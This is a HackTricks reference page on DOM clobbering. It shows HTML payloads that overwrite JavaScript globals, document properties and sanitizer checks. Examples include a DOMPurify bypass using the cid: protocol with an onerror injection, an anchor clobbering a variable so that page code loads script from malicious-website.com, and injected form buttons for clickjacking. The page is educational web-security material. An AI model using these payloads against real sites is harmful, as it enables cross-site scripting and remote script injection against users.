Dom Clobbering - HackTricks

# Dom Clobbering

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basics

It's possible to generate global variables inside the JS context with the attributes `id` and `name` in HTML tags.

    <form id="x"></form>
    <script>
      console.log(typeof document.x) //[object HTMLFormElement]
    </script>

Only certain elements can use the name attribute to clobber globals, they are: `embed`, `form`, `iframe`, `image`, `img` and `object`.

Interestingly, when you use a form element to clobber a variable, you will get the `toString` value of the element itself: `[object HTMLFormElement]` but with anchor the `toString` will be the anchor `href`. Therefore, if you clobber using the `a` tag, you can control the value when it's treated as a string:

    <a href="controlled string" id="x"></a>
    <script>
      console.log(x) //controlled string
    </script>

### Arrays & Attributes

It's also possible to clobber an array and object attributes:

    <a id="x">
      <a id="x" name="y" href="controlled">
        <script>
          console.log(x[1]) //controlled
          console.log(x.y) //controlled
        </script></a
      ></a
    >

To clobber a 3rd attribute (e.g. x.y.z), you need to use a `form`:

    <form id="x" name="y"><input id="z" value="controlled" /></form>
    <form id="x"></form>
    <script>
      alert(x.y.z.value) //controlled
    </script>

Clobbering more attributes is more complicated but still possible, using iframes:

    <iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
    <style>
      @import "https://google.com";
    </style>
    <script>
      alert(x.y) //controlled
    </script>

> [!WARNING] The style tag is used to give enough time to the iframe to render. Without it you will find an alert of undefined.

To clobber deeper attributes, you can use iframes with html encoding this way:

    <iframe
      name="a"
      srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
    <style>
      @import "https://google.com";
    </style>
    <script>
      alert(a.b.c.d.e) //controlled
    </script>

### Filter Bypassing

If a filter is looping through the properties of a node using something like `document.getElementByID('x').attributes` you could clobber the attribute `.attributes` and break the filter. Other DOM properties like `tagName` , `nodeName` or `parentNode` and more are also clobberable.

    <form id="x"></form>
    <form id="y">
      <input name="nodeName" />
    </form>
    <script>
      console.log(document.getElementById("x").nodeName) //FORM
      console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
    </script>

## Clobbering `window.someObject`

In JavaScript it's common to find:

    var someObject = window.someObject || {}

Manipulating HTML on the page allows overriding `someObject` with a DOM node, potentially introducing security vulnerabilities. For example, you can replace `someObject` with an anchor element pointing to a malicious script:

    <a id=someObject href=//malicious-website.com/malicious.js></a>

In a vulnerable code such as:

    <script>
      window.onload = function () {
        let someObject = window.someObject || {}
        let script = document.createElement("script")
        script.src = someObject.url
        document.body.appendChild(script)
      }
    </script>

This method exploits the script source to execute unwanted code.

Trick: `DOMPurify` allows you to use the `cid:` protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">` will make the HTML encoded `&quot;` to be decoded on runtime and escape from the attribute value to create the `onerror` event.

Another technique uses a `form` element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an `input` with `id=attributes` inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes.

You can find an example of this type of clobbering in this CTF writeup.

## Clobbering document object

According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:

> The Document interface supports named properties. The supported property names of a Document object document at any moment consist of the following, in tree order according to the element that contributed them, ignoring later duplicates, and with values from id attributes coming before values from name attributes when the same element contributes both:

> - The value of the name content attribute for all exposed embed, form, iframe, img, and exposed object elements that have a non-empty name content attribute and are in a document tree with document as their root;
> - The value of the id content attribute for all exposed object elements that have a non-empty id content attribute and are in a document tree with document as their root;
> - The value of the id content attribute for all img elements that have both a non-empty id content attribute and a non-empty name content attribute, and are in a document tree with document as their root.

Using this technique you can overwrite commonly used values such as `document.cookie`, `document.body`, `document.children`, and even methods in the Document interface like `document.querySelector`.

    document.write("<img name=cookie />")

    document.cookie
    <img name="cookie">

    typeof(document.cookie)
    'object'

    //Something more sanitize friendly than a img tag
    document.write("<form name=cookie><input id=toString></form>")

    document.cookie
    HTMLCollection(2) [img, form, cookie: img]

    typeof(document.cookie)
    'object

## Writing after the element clobbered

The results of calls to `document.getElementById()` and `document.querySelector()` can be altered by injecting a `<html>` or `<body>` tag with an identical id attribute. Here's how it can be done:

    <div style="display:none" id="cdnDomain" class="x">test</div>
    <p>
      <html id="cdnDomain" class="x">
        clobbered
      </html>
      <script>
        alert(document.getElementById("cdnDomain").innerText) // Clobbered
        alert(document.querySelector(".x").innerText) // Clobbered
      </script>
    </p>

Furthermore, by employing styles to hide these injected HTML/body tags, interference from other text in the `innerText` can be prevented, thus enhancing the efficacy of the attack:

    <div style="display:none" id="cdnDomain">test</div>
    <p>existing text</p>
    <html id="cdnDomain">
      clobbered
    </html>
    <style>
      p {
        display: none;
      }
    </style>
    <script>
      alert(document.getElementById("cdnDomain").innerText) // Clobbered
    </script>

Investigations into SVG revealed that a `<body>` tag can also be utilized effectively:

    <div style="display:none" id="cdnDomain">example.com</div>
    <svg>
      <body id="cdnDomain">
        clobbered
      </body>
    </svg>
    <script>
      alert(document.getElementById("cdnDomain").innerText) // Clobbered
    </script>

For the HTML tag to function within SVG in browsers like Chrome and Firefox, a `<foreignobject>` tag is necessary:

    <div style="display:none" id="cdnDomain">example.com</div>
    <svg>
      <foreignobject>
        <html id="cdnDomain">
          clobbered
        </html>
      </foreignobject>
    </svg>
    <script>
      alert(document.getElementById("cdnDomain").innerText) // Clobbered
    </script>

## Clobbering Forms

It's possible to add new entries inside a form just by specifying the `form` attribute inside some tags. You can use this to add new values inside a form and to even add a new button to send it (clickjacking or abusing some `.click()` JS code):

    <!--Add a new attribute and a new button to send-->
    <textarea form="id-other-form" name="info">
    ";alert(1);//
    </textarea>
    <button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
      Click to send!
    </button>

- For more form attributes in button check this.

## References

- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.